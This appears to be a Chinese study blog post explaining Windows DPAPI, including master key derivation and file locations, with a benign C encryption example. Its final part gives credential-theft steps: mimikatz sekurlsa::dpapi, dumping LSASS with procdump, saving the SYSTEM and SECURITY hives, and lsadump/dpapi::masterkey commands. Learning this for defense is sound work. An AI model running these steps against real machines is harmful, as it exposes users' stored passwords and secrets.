Contents

windows学习-DPAPI机制

什么是DPAPI

DPAPI的全称为

1
Data Protection Application Programming Interface

windows系统下,为了使开发者可以实施针对用户身份上下文加密的方案,系统向开发者提供了一个强大的数据保护API–DPAPI,开发者使用该API加密的数据在解密时会使用用户身份的上下文解密,使得该数据仅可被当前用户解密。DPAPI针对用户加密的方案可以抽象理解为,不同用户安全上下文相关会产生不同的 DPAPI master key,这个DPAPI master key 相当于一个密钥,这个调用DPAPI master key实施加密的过程由系统直接操作,所以攻击者视角来看,如果有方式窃取到用户的DPAPI master key就可以离线解密用户的敏感凭据。

DPAPI主要用户保护加密的数据,常见的应用如:

  • EFS文件加密
  • 存储无线连接密码
  • Windows Credential Manager
  • Internet Explorer
  • Outlook
  • Skype
  • Windows CardSpace
  • Windows Vault
  • Goole Chrome

Master key的生成:

在windows认证机制中用来鉴别用户的都是使用NTLM-Hash,并且NTLM-Hash存储在SAM文件中。但是,在生成master key并不使用NTLM-Hash加密,这是因为存储NTLM-Hash的SAM文件很容易被攻击者窃取从而利用NTLM-Hash来解密master key。所以为了防止这种情况发生,windows选择使用明文密码来生成master key(SHA1(UTF16LE(user_password))),所以就算攻击者能够得到NTLM-hash,如果没有解密出明文密码,那么还是无法生成master key

Master Key:

64字节,用于解密DPAPI blob,使用用户登录密码、SID和16字节随机数加密后保存在Master Key file 中。

Master Key file:

二进制文件,可使用用户登录密码对其解密,获得master key

分为两种:

  1. 用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%
  2. 系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

Preferred文件:

位于Master Key file的同级目录,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效。

DPAPI的原理

DPAPI的加密和解密分别使用了Win32 API中的CryptProtectDataCryptUnprotectData函数,示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
// tell the compiler to link crypt32.lib
#pragma comment(lib, "crypt32.lib")

#include <Windows.h>
#include <wincrypt.h>
#include <iostream>

void HandleError(char* s);

int main() {
	DATA_BLOB pDataIn;
	DATA_BLOB pDataOut;
	DATA_BLOB DataVerify;
	BYTE* input = new BYTE;

	// std::cout << "Enter the strings that you want to encrypt:";
	// std::cin >> input;

	// BYTE* pbDataInput = input;
	BYTE* pbDataInput = (BYTE*)"Hey, I will be encrypted";
	DWORD cbDataInput = strlen((char*)pbDataInput) + 1;
	pDataIn.pbData = pbDataInput;
	pDataIn.cbData = cbDataInput;


	// used to display the notification.
	CRYPTPROTECT_PROMPTSTRUCT promptStruct;
	// descriptor
	LPWSTR pDescrOut = NULL;

	// Begin processing.
	printf("The data to be encrypted is: %s\n", pbDataInput);

	// Initialize PromptStruct
	ZeroMemory(&promptStruct, sizeof(promptStruct));
	promptStruct.cbSize = sizeof(promptStruct);
	promptStruct.dwPromptFlags = CRYPTPROTECT_PROMPT_ON_PROTECT;
	promptStruct.szPrompt = L"This is a user prompt";

	// Begin protect phase.
	if (CryptProtectData(
		&pDataIn,
		L"This is the description string.",
		NULL,
		NULL,
		&promptStruct,
		0,
		&pDataOut
	)) {
		printf("The encryption phase worked.\n");
		printf("The encrypted information is: %s\n", pDataOut.pbData);
	}
	else {
		HandleError((char*)"Encryption error!");
	}
	
	// Begin unprotect phase
	if (CryptUnprotectData(
		&pDataOut,
		&pDescrOut,
		NULL,
		NULL,
		NULL,
		0,
		&DataVerify
	)) {
		printf("The decrypted data is: %s\n", DataVerify.pbData);
		printf("The description of the data was: %S\n", pDescrOut);
	}
	else {
		HandleError((char*)"Decryption error!");
	}

	LocalFree(DataVerify.pbData);
	LocalFree(pDataOut.pbData);
	LocalFree(pDescrOut);

}

void HandleError(char* s) {
	fprintf(stderr, "An error occurred in running the program.\n");
	fprintf(stderr, "%s\n", s);
	fprintf(stderr, "Error number %x.\n", GetLastError());
	fprintf(stderr, "Program terminating.\n");
	exit(1);
}

Master Key的获取

读取master key有两种方式:1.在线读取;2.离线获取

以下两周都需要管理员权限

在线读取

在线可以读取Lsass进程信息(随便记一下,在mimikatz中sekurlsa模块都是对lsass进程操作的),获取当前系统中的master key,能获得多个Master Key file中的master key

1
2
privilege::debug
sekurlsa::dpapi

https://s1.ax1x.com/2022/08/07/vKm4G8.png

离线读取

思路一

利用procdump直接dump出Lsass进程内存

https://s1.ax1x.com/2022/08/07/vKmIxg.png

再利用mimikatz加载文件并获取master key

https://s1.ax1x.com/2022/08/07/vKmTMQ.png

思路二

  1. 复制注册表文件
1
2
reg save HKLM\SYSTEM SYSTEM.hiv
reg save HKLM\SECURITY SECURITY.hiv

https://s1.ax1x.com/2022/08/07/vKm7rj.png

  1. 从注册表文件中获得DPAPI_SYSTEM
1
lsadump::secrets /system:SYSTEM.hiv /security:SECURITY.hiv

https://s1.ax1x.com/2022/08/07/vKmHqs.png

DPAPI_SYSTEM中的user hash可以用来解密位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User下的系统Master Key file

  1. 解密系统Master Key file,获得MasterKey
1
dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\<SID> /system:<user hash>

参考链接

  1. https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%8F%96Windows%E7%B3%BB%E7%BB%9F%E4%B8%8BDPAPI%E4%B8%AD%E7%9A%84MasterKey
  2. https://www.anquanke.com/post/id/158667
  3. https://www.cnblogs.com/zpchcbd/p/14118403.html